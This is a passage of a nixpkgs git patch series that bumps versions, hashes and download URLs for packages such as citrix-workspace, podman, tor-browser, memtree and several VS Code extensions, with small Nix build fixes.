27a0c17bf2dd..403f774ee611 100644 --- a/pkgs/development/python-modules/guidance-stitch/default.nix +++ b/pkgs/development/python-modules/guidance-stitch/default.nix @@ -20,13 +20,13 @@ buildPythonPackage rec { pname = "guidance-stitch"; - version = "0.1.4"; + version = "0.1.5"; pyproject = true; src = fetchPypi { pname = "guidance_stitch"; inherit version; - hash = "sha256-Wthz02C2AU6hzQ+TTGs+sI73ejwHQRCStZXZts0i1+w="; + hash = "sha256-Kg0O3oZds4eFfUlKe8sakDYhwT9XGGnN4RCcLFVpzZU="; }; build-system = [ From 31cdd1663e30a33b8807eca2f0cc93479d6b7d8e Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Tue, 24 Jun 2025 20:14:30 +0200 Subject: [PATCH 363/390] python3Packages.tensorflow-metadata: 1.17.1 -> 1.17.2 Diff: https://github.com/tensorflow/metadata/compare/refs/tags/v1.17.1...refs/tags/v1.17.2 Changelog: https://github.com/tensorflow/metadata/releases/tag/v1.17.2 --- .../python-modules/tensorflow-metadata/default.nix | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/pkgs/development/python-modules/tensorflow-metadata/default.nix b/pkgs/development/python-modules/tensorflow-metadata/default.nix index d18f450d4d42..8a1352b704d8 100644 --- a/pkgs/development/python-modules/tensorflow-metadata/default.nix +++ b/pkgs/development/python-modules/tensorflow-metadata/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "tensorflow-metadata"; - version = "1.17.1"; + version = "1.17.2"; pyproject = true; src = fetchFromGitHub { owner = "tensorflow"; repo = "metadata"; tag = "v${version}"; - hash = "sha256-/jVAGt3nKPwVk+poXzQ9tVCi9HEZENrbjeN4dcOfWeo="; + hash = "sha256-YqFQOm8K4WFUlpWqkZm8pZpfupf7ZtJTODJodjLnzK4="; }; patches = [ ./build.patch ]; @@ -36,10 +36,6 @@ buildPythonPackage rec { build-system = [ setuptools ]; - pythonRelaxDeps = [ - "protobuf" - ]; - dependencies = [ absl-py googleapis-common-protos From 8899fff0885cc100d686fc947af34a0021872427 Mon Sep 17 00:00:00 2001 From: nicoo Date: Tue, 10 Jun 2025 13:19:51 +0000 Subject: [PATCH 364/390] memtree: update `src` after account rename --- pkgs/by-name/me/memtree/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/me/memtree/package.nix b/pkgs/by-name/me/memtree/package.nix index aa39b2aa2250..cac70bde8c6d 100644 --- a/pkgs/by-name/me/memtree/package.nix +++ b/pkgs/by-name/me/memtree/package.nix @@ -11,7 +11,7 @@ python3Packages.buildPythonApplication { pyproject = true; src = fetchFromGitHub { - owner = "nbraud"; + owner = "nicoonoclaste"; repo = "memtree"; rev = "279f1fa0a811de86c278ce74830bd8aa1b00db58"; hash = "sha256-gUULox3QSx68x8lb1ytanY36cw/I9L4HdpR8OPOsxuc="; From 0177eb8634709d709aecae3784554ea4f6cad431 Mon Sep 17 00:00:00 2001 From: nicoo Date: Tue, 10 Jun 2025 13:20:27 +0000 Subject: [PATCH 365/390] memtree: bring up to current Python packaging conventions --- pkgs/by-name/me/memtree/package.nix | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/pkgs/by-name/me/memtree/package.nix b/pkgs/by-name/me/memtree/package.nix index cac70bde8c6d..a765976f2f3e 100644 --- a/pkgs/by-name/me/memtree/package.nix +++ b/pkgs/by-name/me/memtree/package.nix @@ -17,13 +17,11 @@ python3Packages.buildPythonApplication { hash = "sha256-gUULox3QSx68x8lb1ytanY36cw/I9L4HdpR8OPOsxuc="; }; - pythonRelaxDeps = [ "rich" ]; - - nativeBuildInputs = with python3Packages; [ + build-system = with python3Packages; [ poetry-core ]; - propagatedBuildInputs = with python3Packages; [ + dependencies = with python3Packages; [ rich ]; From 77739983cc1fbb1a609ca1f0aff0dd7262820344 Mon Sep 17 00:00:00 2001 From: nicoo Date: Tue, 10 Jun 2025 13:22:26 +0000 Subject: [PATCH 366/390] =?UTF-8?q?memtree:=200-unstable-2025-06-06=20?= =?UTF-8?q?=E2=86=92=200-unstable-2025-06-10?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- pkgs/by-name/me/memtree/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/me/memtree/package.nix b/pkgs/by-name/me/memtree/package.nix index a765976f2f3e..925cb38a020e 100644 --- a/pkgs/by-name/me/memtree/package.nix +++ b/pkgs/by-name/me/memtree/package.nix @@ -7,14 +7,14 @@ python3Packages.buildPythonApplication { pname = "memtree"; - version = "0-unstable-2025-06-06"; + version = "0-unstable-2025-06-10"; pyproject = true; src = fetchFromGitHub { owner = "nicoonoclaste"; repo = "memtree"; - rev = "279f1fa0a811de86c278ce74830bd8aa1b00db58"; - hash = "sha256-gUULox3QSx68x8lb1ytanY36cw/I9L4HdpR8OPOsxuc="; + rev = "ad1a7d1e4fa5f195c2aa1012101d01ab580a05e8"; + hash = "sha256-UmleB7wr1bh9t7vwt3o8Uwp3LUzAzB5jlPi3OvgECAg="; }; build-system = with python3Packages; [ From e4032e1e817da9a06f16218fff1273d177abb4ac Mon Sep 17 00:00:00 2001 From: Austin Horstman Date: Fri, 20 Jun 2025 16:11:40 -0500 Subject: [PATCH 367/390] citrix-workspace: fix libxml2 build incompatibility Breaking ABI change for libxml2 recently, need to override to use supported libxml version. Signed-off-by: Austin Horstman --- .../networking/remote/citrix-workspace/generic.nix | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/pkgs/applications/networking/remote/citrix-workspace/generic.nix b/pkgs/applications/networking/remote/citrix-workspace/generic.nix index e794bbb21854..35f7f893a8d3 100644 --- a/pkgs/applications/networking/remote/citrix-workspace/generic.nix +++ b/pkgs/applications/networking/remote/citrix-workspace/generic.nix @@ -55,6 +55,7 @@ libsecret, libcanberra-gtk3, sane-backends, + fetchurl, homepage, version, @@ -87,6 +88,14 @@ let ''; }; + libxml2' = libxml2.overrideAttrs rec { + version = "2.13.8"; + src = fetchurl { + url = "mirror://gnome/sources/libxml2/${lib.versions.majorMinor version}/libxml2-${version}.tar.xz"; + hash = "sha256-J3KUyzMRmrcbK8gfL0Rem8lDW4k60VuyzSsOhZoO6Eo="; + }; + }; + in stdenv.mkDerivation rec { @@ -157,7 +166,7 @@ stdenv.mkDerivation rec { libsecret libsoup_2_4 libvorbis - libxml2 + libxml2' llvmPackages.libunwind libgbm nspr From 1c25ad4c5d9750a0e51ecf8b37c122255b59d2b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=A9clairevoyant?= <848000+eclairevoyant@users.noreply.github.com> Date: Tue, 24 Jun 2025 14:21:59 -0400 Subject: [PATCH 368/390] citrix_workspace: remove versions <= 23.09 --- .../networking/remote/citrix-workspace/sources.nix | 11 +---------- pkgs/top-level/all-packages.nix | 1 - 2 files changed, 1 insertion(+), 11 deletions(-) diff --git a/pkgs/applications/networking/remote/citrix-workspace/sources.nix b/pkgs/applications/networking/remote/citrix-workspace/sources.nix index d9de08380bb3..ff7117e9e7ff 100644 --- a/pkgs/applications/networking/remote/citrix-workspace/sources.nix +++ b/pkgs/applications/networking/remote/citrix-workspace/sources.nix @@ -28,16 +28,6 @@ let # The latest versions can be found at https://www.citrix.com/downloads/workspace-app/linux/ # x86 is unsupported past 23.11, see https://docs.citrix.com/en-us/citrix-workspace-app-for-linux/deprecation supportedVersions = lib.mapAttrs mkVersionInfo { - "23.09.0" = { - major = "23"; - minor = "9"; - patch = "0"; - x64hash = "7b06339654aa27258d6dfa922828b43256e780b282d07109f452246c7aa27514"; - x86hash = "95436fb289602cf31c65b7df89da145fc170233cb2e758a2f11116f15b57d382"; - x64suffix = "24"; - x86suffix = "24"; - homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest9.html"; - }; "23.11.0" = { major = "23"; @@ -114,6 +104,7 @@ let unsupportedVersions = [ "23.02.0" "23.07.0" + "23.09.0" ]; in { diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index 03fb17ebc456..a5fa720ed543 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -2548,7 +2548,6 @@ with pkgs; circus = with python310Packages; toPythonApplication circus; inherit (callPackage ../applications/networking/remote/citrix-workspace { }) - citrix_workspace_23_09_0 citrix_workspace_23_11_0 citrix_workspace_24_02_0 citrix_workspace_24_05_0 From 1386a8ff9490f1ef3646f83d6e1d3015044a5c8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=A9clairevoyant?= <848000+eclairevoyant@users.noreply.github.com> Date: Tue, 24 Jun 2025 14:22:30 -0400 Subject: [PATCH 369/390] citrix_workspace: update homepages --- .../networking/remote/citrix-workspace/sources.nix | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/pkgs/applications/networking/remote/citrix-workspace/sources.nix b/pkgs/applications/networking/remote/citrix-workspace/sources.nix index ff7117e9e7ff..6bcf1307deda 100644 --- a/pkgs/applications/networking/remote/citrix-workspace/sources.nix +++ b/pkgs/applications/networking/remote/citrix-workspace/sources.nix @@ -59,7 +59,7 @@ let x86hash = ""; x64suffix = "76"; x86suffix = ""; - homepage = "https://www.citrix.com/downloads/workspace-app/linux/workspace-app-for-linux-latest.html"; + homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest1.html"; }; "24.08.0" = { @@ -70,7 +70,7 @@ let x86hash = ""; x64suffix = "98"; x86suffix = ""; - homepage = "https://www.citrix.com/downloads/workspace-app/linux/workspace-app-for-linux-latest.html"; + homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest-2408.html"; }; "24.11.0" = { @@ -81,8 +81,9 @@ let x86hash = ""; x64suffix = "85"; x86suffix = ""; - homepage = "https://www.citrix.com/downloads/workspace-app/linux/workspace-app-for-linux-latest.html"; + homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest13.html"; }; + "25.03.0" = { major = "25"; minor = "03"; @@ -91,7 +92,7 @@ let x86hash = ""; x64suffix = "66"; x86suffix = ""; - homepage = "https://www.citrix.com/downloads/workspace-app/linux/workspace-app-for-linux-latest.html"; + homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest-2503.html"; }; }; From 6f311e1e06120538142ee4e6a7385301b71bdf75 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=A9clairevoyant?= <848000+eclairevoyant@users.noreply.github.com> Date: Tue, 24 Jun 2025 14:24:55 -0400 Subject: [PATCH 370/390] citrix_workspace: 25.03.0.66 -> 25.05.0.44 --- .../networking/remote/citrix-workspace/sources.nix | 10 ++++++++++ pkgs/top-level/all-packages.nix | 3 ++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/pkgs/applications/networking/remote/citrix-workspace/sources.nix b/pkgs/applications/networking/remote/citrix-workspace/sources.nix index 6bcf1307deda..597d24487271 100644 --- a/pkgs/applications/networking/remote/citrix-workspace/sources.nix +++ b/pkgs/applications/networking/remote/citrix-workspace/sources.nix @@ -95,6 +95,16 @@ let homepage = "https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-linux/workspace-app-for-linux-latest-2503.html"; }; + "25.05.0" = { + major = "25"; + minor = "05"; + patch = "0"; + x64hash = "0fwqsxggswms40b5k8saxpm1ghkxppl27x19w8jcslq1f0i1fwqx"; + x86hash = ""; + x64suffix = "44"; + x86suffix = ""; + homepage = "https://www.citrix.com/downloads/workspace-app/linux/workspace-app-for-linux-latest.html"; + }; }; # Retain attribute-names for abandoned versions of Citrix workspace to diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index a5fa720ed543..cdd826124d45 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -2554,8 +2554,9 @@ with pkgs; citrix_workspace_24_08_0 citrix_workspace_24_11_0 citrix_workspace_25_03_0 + citrix_workspace_25_05_0 ; - citrix_workspace = citrix_workspace_25_03_0; + citrix_workspace = citrix_workspace_25_05_0; cmst = libsForQt5.callPackage ../tools/networking/cmst { }; From 4e15e5bade143b0fd9e7950f09a1a981062a07a3 Mon Sep 17 00:00:00 2001 From: nicoo Date: Tue, 24 Jun 2025 18:39:11 +0000 Subject: [PATCH 371/390] memtree: prune `src` --- pkgs/by-name/me/memtree/package.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pkgs/by-name/me/memtree/package.nix b/pkgs/by-name/me/memtree/package.nix index 925cb38a020e..80810756d3e6 100644 --- a/pkgs/by-name/me/memtree/package.nix +++ b/pkgs/by-name/me/memtree/package.nix @@ -14,7 +14,10 @@ python3Packages.buildPythonApplication { owner = "nicoonoclaste"; repo = "memtree"; rev = "ad1a7d1e4fa5f195c2aa1012101d01ab580a05e8"; - hash = "sha256-UmleB7wr1bh9t7vwt3o8Uwp3LUzAzB5jlPi3OvgECAg="; + hash = "sha256-stIRBXhaLqYsN2WMQnu46z39ssantzM8M6T3kCOoZKc="; + + # Remove irrelevant content, avoid src hash change on flake.lock updates etc. + postFetch = "rm -r $out/.* $out/flake.* $out/bors.toml"; }; build-system = with python3Packages; [ From 88fcdf4ef80148190465ff78c262d6d651813bb8 Mon Sep 17 00:00:00 2001 From: Thiago Kenji Okada Date: Tue, 24 Jun 2025 15:51:54 +0100 Subject: [PATCH 372/390] nixos-rebuild-ng: allow `withNix218` to be overriden `withNix218` controls if `nixos-rebuild-ng` is built with Nix 2.18+, so it can use some features depending on newer version of Nix, for example using `nix copy` instead of `nix-copy-closure` for more efficient copies when both `--build-host` and `--target-host`. This is computed by looking at the Nix derivation at compile time. It is unlikely but it could happen that some specific use case an user wants to use the Nix <2.18 path without actually using an older version of Nix. For those cases we are exposing the `withNix218` as a derivation parameter, so it can be overriden. --- pkgs/by-name/ni/nixos-rebuild-ng/package.nix | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix index e29b7d924149..020b9ae7694a 100644 --- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix +++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix @@ -15,6 +15,13 @@ # Very long tmp dirs lead to "too long for Unix domain socket" # SSH ControlPath errors. Especially macOS sets long TMPDIR paths. withTmpdir ? if stdenv.hostPlatform.isDarwin then "/tmp" else null, + # This version is kind of arbitrary, we use some features that were + # implemented in newer versions of Nix, but not necessary 2.18. + # However, Lix is a fork of Nix 2.18, so this looks like a good version + # to cut specific functionality. + # ATTN: This currently doesn't disambiguate between Nix and Lix, so using this + # in a conditional needs careful checking against both Nix implementations. + withNix218 ? lib.versionAtLeast nix.version "2.18", # passthru.tests nixosTests, nixVersions, @@ -23,13 +30,6 @@ }: let executable = if withNgSuffix then "nixos-rebuild-ng" else "nixos-rebuild"; - # This version is kind of arbitrary, we use some features that were - # implemented in newer versions of Nix, but not necessary 2.18. - # However, Lix is a fork of Nix 2.18, so this looks like a good version - # to cut specific functionality. - # ATTN: This currently doesn't disambiguate between Nix and Lix, so using this - # in a conditional needs careful checking against both Nix implementations. - withNix218 = lib.versionAtLeast nix.version "2.18"; in python3Packages.buildPythonApplication rec { pname = "nixos-rebuild-ng"; From bb6f2412336cd9e540cd513617f0fc200e811517 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bj=C3=B8rn=20Forsman?= Date: Tue, 24 Jun 2025 20:18:16 +0200 Subject: [PATCH 373/390] renode: backport python-3.13 patch for robotframework renode pins an old robotframework version that doesn't support python 3.13. Backport the python 3.13 patch to fix the build. --- pkgs/by-name/re/renode/package.nix | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/pkgs/by-name/re/renode/package.nix b/pkgs/by-name/re/renode/package.nix index 888f29cfb5ac..1a4c4d79f987 100644 --- a/pkgs/by-name/re/renode/package.nix +++ b/pkgs/by-name/re/renode/package.nix @@ -3,6 +3,7 @@ lib, fetchFromGitHub, fetchurl, + fetchpatch, autoPatchelfHook, makeWrapper, nix-update-script, @@ -37,6 +38,14 @@ let rev = "v6.1"; hash = "sha256-l1VupBKi52UWqJMisT2CVnXph3fGxB63mBVvYdM1NWE="; }; + patches = (oldAttrs.patches or [ ]) ++ [ + (fetchpatch { + # utest: Improve filtering of output sugar for Python 3.13+ + name = "python3.13-support.patch"; + url = "https://github.com/robotframework/robotframework/commit/921e352556dc8538b72de1e693e2a244d420a26d.patch"; + hash = "sha256-aSaror26x4kVkLVetPEbrJG4H1zstHsNWqmwqOys3zo="; + }) + ]; })) ]; in From 3d8d1a6e37e3a05ab916bf3d927689ea1c7c7862 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 19:15:02 +0000 Subject: [PATCH 374/390] ferron: 1.3.1 -> 1.3.3 --- pkgs/by-name/fe/ferron/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/fe/ferron/package.nix b/pkgs/by-name/fe/ferron/package.nix index 51a1eece0960..8a6873dec0ed 100644 --- a/pkgs/by-name/fe/ferron/package.nix +++ b/pkgs/by-name/fe/ferron/package.nix @@ -10,17 +10,17 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "ferron"; - version = "1.3.1"; + version = "1.3.3"; src = fetchFromGitHub { owner = "ferronweb"; repo = "ferron"; tag = finalAttrs.version; - hash = "sha256-DD9mv2tMGLtnBU1YAb/CDTt+OcDVRzEfW3kUmePT+y4="; + hash = "sha256-pJ3UGiQUIon1RTZqw0Y4b/FC+0aAxHSwmXRApWsNhP4="; }; useFetchCargoVendor = true; - cargoHash = "sha256-ezH8Oraog7XmD4zcrT5eiqS4zQ54m0SXNWlBRx0mJgo="; + cargoHash = "sha256-9ZJYf7tcsdBhE82MSmLi2deSM+l1mjfwSIHLTDan5Hg="; nativeBuildInputs = [ pkg-config From c99018bd428bc526fd24666e99d0d1d86cbde0d8 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 19:15:43 +0000 Subject: [PATCH 375/390] podman: 5.5.1 -> 5.5.2 --- pkgs/by-name/po/podman/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/po/podman/package.nix b/pkgs/by-name/po/podman/package.nix index 1698ae6a1d51..810b6e6895e7 100644 --- a/pkgs/by-name/po/podman/package.nix +++ b/pkgs/by-name/po/podman/package.nix @@ -74,13 +74,13 @@ let in buildGoModule rec { pname = "podman"; - version = "5.5.1"; + version = "5.5.2"; src = fetchFromGitHub { owner = "containers"; repo = "podman"; rev = "v${version}"; - hash = "sha256-/dGFDwjAAc1D88VslVDolf2YVPZ9cHUCQjdaEreQSE0="; + hash = "sha256-iLpJQC1v+jPeQNCjgtx3pPKsa6wLcrqtQkeG7qF3rWo="; }; patches = [ From 6fce18fa2aad31c1c1a30634baca88a5a3f1337c Mon Sep 17 00:00:00 2001 From: Pol Dellaiera Date: Tue, 24 Jun 2025 21:19:27 +0200 Subject: [PATCH 376/390] vscode-extensions.github.copilot-chat: 0.28.0 -> 0.28.2 --- .../editors/vscode/extensions/github.copilot-chat/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/github.copilot-chat/default.nix b/pkgs/applications/editors/vscode/extensions/github.copilot-chat/default.nix index da862b3ce182..21da91f423bc 100644 --- a/pkgs/applications/editors/vscode/extensions/github.copilot-chat/default.nix +++ b/pkgs/applications/editors/vscode/extensions/github.copilot-chat/default.nix @@ -7,8 +7,8 @@ vscode-utils.buildVscodeMarketplaceExtension { mktplcRef = { publisher = "github"; name = "copilot-chat"; - version = "0.28.0"; - hash = "sha256-Pc04vtCSPlXALPnFtgQcEVa+exzfkYqFh/b8K3bUBJg="; + version = "0.28.2"; + hash = "sha256-o6h9AOeBMRqVkhSgHUE2/vmsmJCXciY21mIQD7SUHOU="; }; meta = { From f954622220d14893bae8b3c5fdfb75ec3ff0034f Mon Sep 17 00:00:00 2001 From: Pol Dellaiera Date: Tue, 24 Jun 2025 21:19:42 +0200 Subject: [PATCH 377/390] vscode-extensions.github.copilot: 1.335.0 -> 1.336.0 --- .../editors/vscode/extensions/github.copilot/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/github.copilot/default.nix b/pkgs/applications/editors/vscode/extensions/github.copilot/default.nix index d17df25af3e3..8e8ad4dee904 100644 --- a/pkgs/applications/editors/vscode/extensions/github.copilot/default.nix +++ b/pkgs/applications/editors/vscode/extensions/github.copilot/default.nix @@ -7,8 +7,8 @@ vscode-utils.buildVscodeMarketplaceExtension { mktplcRef = { publisher = "github"; name = "copilot"; - version = "1.335.0"; - hash = "sha256-GqUegNF1XIpEaQy+0v+TTyIR+EPaeXKVpH4QnvxXt9c="; + version = "1.336.0"; + hash = "sha256-7IiYfOX3Xl3cW5FcG+7FjGAmkw7Wa9802eguRmaFE5Y="; }; meta = { From 8a152de8ba2619c41d8aa42a15158d523c0b6630 Mon Sep 17 00:00:00 2001 From: Casey Link Date: Tue, 24 Jun 2025 21:33:09 +0200 Subject: [PATCH 378/390] claude-code: 1.0.30 -> 1.0.33 (#419510) --- pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++---- pkgs/by-name/cl/claude-code/package.nix | 6 +++--- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json index 68c9496e4b78..b4ae2f17cca8 100644 --- a/pkgs/by-name/cl/claude-code/package-lock.json +++ b/pkgs/by-name/cl/claude-code/package-lock.json @@ -6,13 +6,13 @@ "packages": { "": { "dependencies": { - "@anthropic-ai/claude-code": "^1.0.30" + "@anthropic-ai/claude-code": "^1.0.33" } }, "node_modules/@anthropic-ai/claude-code": { - "version": "1.0.30", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.30.tgz", - "integrity": "sha512-qIs92Cq3hFwn9/lZBta+wWJfGoQsrbFuiVm0bkurwGKxaJV69Ibr6hYfSU/lIKLcbvSygkZ/tWRxFQt44gnFhQ==", + "version": "1.0.33", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.33.tgz", + "integrity": "sha512-rKQ1C0+iSV/bS4LVfyCt2FIkIc8MnFi5EbmRAXEunNkXLCQLHfXjsqx7cLOy7c11vZwGkyf/wEp5LwaDQHdjCQ==", "hasInstallScript": true, "license": "SEE LICENSE IN README.md", "bin": { diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix index f9e4e0528762..91b0424e7c02 100644 --- a/pkgs/by-name/cl/claude-code/package.nix +++ b/pkgs/by-name/cl/claude-code/package.nix @@ -7,16 +7,16 @@ buildNpmPackage rec { pname = "claude-code"; - version = "1.0.30"; + version = "1.0.33"; nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin src = fetchzip { url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz"; - hash = "sha256-DwzSXpDrNV8FhfqrRQ3OK/LjmiXd+VHEW91jnyds2P4="; + hash = "sha256-AH/ZokL0Ktsx18DrpUKgYrZKdBnKo29jntwXUWspH8w="; }; - npmDepsHash = "sha256-M6H6A4i4JBqcFTG/ZkmxpINa4lw8sO5+iu2YcBqmvi4="; + npmDepsHash = "sha256-oHSePK/QiAHP+2Fn+yUf66TcRGCoZg3mrI4x7S/nbCc="; postPatch = '' cp ${./package-lock.json} package-lock.json From 8b732412d13f845e462df5448a38b0019c5dff1f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 20:03:33 +0000 Subject: [PATCH 379/390] vscode-extensions.rooveterinaryinc.roo-cline: 3.20.3 -> 3.21.5 --- .../vscode/extensions/rooveterinaryinc.roo-cline/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/rooveterinaryinc.roo-cline/default.nix b/pkgs/applications/editors/vscode/extensions/rooveterinaryinc.roo-cline/default.nix index 4b3b1556c561..6e3961e9bda5 100644 --- a/pkgs/applications/editors/vscode/extensions/rooveterinaryinc.roo-cline/default.nix +++ b/pkgs/applications/editors/vscode/extensions/rooveterinaryinc.roo-cline/default.nix @@ -8,8 +8,8 @@ vscode-utils.buildVscodeMarketplaceExtension { mktplcRef = { publisher = "RooVeterinaryInc"; name = "roo-cline"; - version = "3.20.3"; - hash = "sha256-YCO8TjUZ2IpjTkDYf/4wQgsqGEvn2bt4+yVwWlb2eUQ="; + version = "3.21.5"; + hash = "sha256-g5CBUTjpgypibDBbH9kD9SQ6OGDemtch6fX9sWvxEno="; }; passthru.updateScript = vscode-extension-update-script { }; From 53b2719cd353516b4426ab1749ca63e133848c6a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= Date: Tue, 24 Jun 2025 22:19:34 +0200 Subject: [PATCH 380/390] tor-browser: 14.5.3 -> 14.5.4 https://blog.torproject.org/new-release-tor-browser-1454/ --- pkgs/by-name/to/tor-browser/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix index 86d18be0fa64..d185f91634f7 100644 --- a/pkgs/by-name/to/tor-browser/package.nix +++ b/pkgs/by-name/to/tor-browser/package.nix @@ -111,7 +111,7 @@ lib.warnIf (useHardenedMalloc != null) ++ lib.optionals mediaSupport [ ffmpeg ] ); - version = "14.5.3"; + version = "14.5.4"; sources = { x86_64-linux = fetchurl { @@ -121,7 +121,7 @@ lib.warnIf (useHardenedMalloc != null) "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz" ]; - hash = "sha256-1MgXLdoRrmwFAG2JtkCUa2NQ/H3Xxd9+2jbV+fRRVXA="; + hash = "sha256-27Wq9VwFB85swQZIRQMKZgeUeb/SgQ04aaWmZtlpY9s="; }; i686-linux = fetchurl { @@ -131,7 +131,7 @@ lib.warnIf (useHardenedMalloc != null) "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz" ]; - hash = "sha256-T6BdLhEXYzo3zIJZ2aREjAWmIRDV/xtVhVvkDUozoo4="; + hash = "sha256-OgexrnQWGYSf9g3Le/LyBcpGo3xFqpCMq1NUHF5fi9M="; }; }; From de45b4a4d194281e4378e93a1c184d2825c0713a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= Date: Tue, 24 Jun 2025 22:23:38 +0200 Subject: [PATCH 381/390] mullvad-browser: 14.5.3 -> 14.5.4 https://github.com/mullvad/mullvad-browser/releases/tag/14.5.4 --- pkgs/by-name/mu/mullvad-browser/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/mu/mullvad-browser/package.nix b/pkgs/by-name/mu/mullvad-browser/package.nix index 879c487038f3..028a70fe6c14 100644 --- a/pkgs/by-name/mu/mullvad-browser/package.nix +++ b/pkgs/by-name/mu/mullvad-browser/package.nix @@ -97,7 +97,7 @@ let ++ lib.optionals mediaSupport [ ffmpeg ] ); - version = "14.5.3"; + version = "14.5.4"; sources = { x86_64-linux = fetchurl { @@ -109,7 +109,7 @@ let "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz" ]; - hash = "sha256-W005Lkgw96sYseB8LBE76b7+RxMC5vNb1+3KrDp8IE0="; + hash = "sha256-DJEc+2GJHxG49euVpwH8h/yLoR6DVn0a0ZUFS429XaA="; }; }; From 33883c0f4510bef96ed5631d826b540e37f101a4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 19:09:42 +0000 Subject: [PATCH 382/390] android-studio: 2024.3.2.15 -> 2025.1.1.13 --- pkgs/applications/editors/android-studio/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/android-studio/default.nix b/pkgs/applications/editors/android-studio/default.nix index 705b78e6cf55..5cd4f47a07ba 100644 --- a/pkgs/applications/editors/android-studio/default.nix +++ b/pkgs/applications/editors/android-studio/default.nix @@ -16,8 +16,8 @@ let inherit tiling_wm; }; stableVersion = { - version = "2024.3.2.15"; # "Android Studio Meerkat Feature Drop | 2024.3.2 Patch 1" - sha256Hash = "sha256-L8s8l1/Q4AJEGvdzTLLu9sRZlkNyRDMQvK8moZXOeIE="; + version = "2025.1.1.13"; # "Android Studio Narwhal | 2025.1.1" + sha256Hash = "sha256-MEUqYZd/Ny2spzFqbZ40j2H4Tg6pHQGWqkpRrVtbwO8="; }; betaVersion = { version = "2025.1.1.11"; # "Android Studio Narwhal | 2025.1.1 RC 1" From 32eea0f9c6f60361061ba468d199e8855fdfd95d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 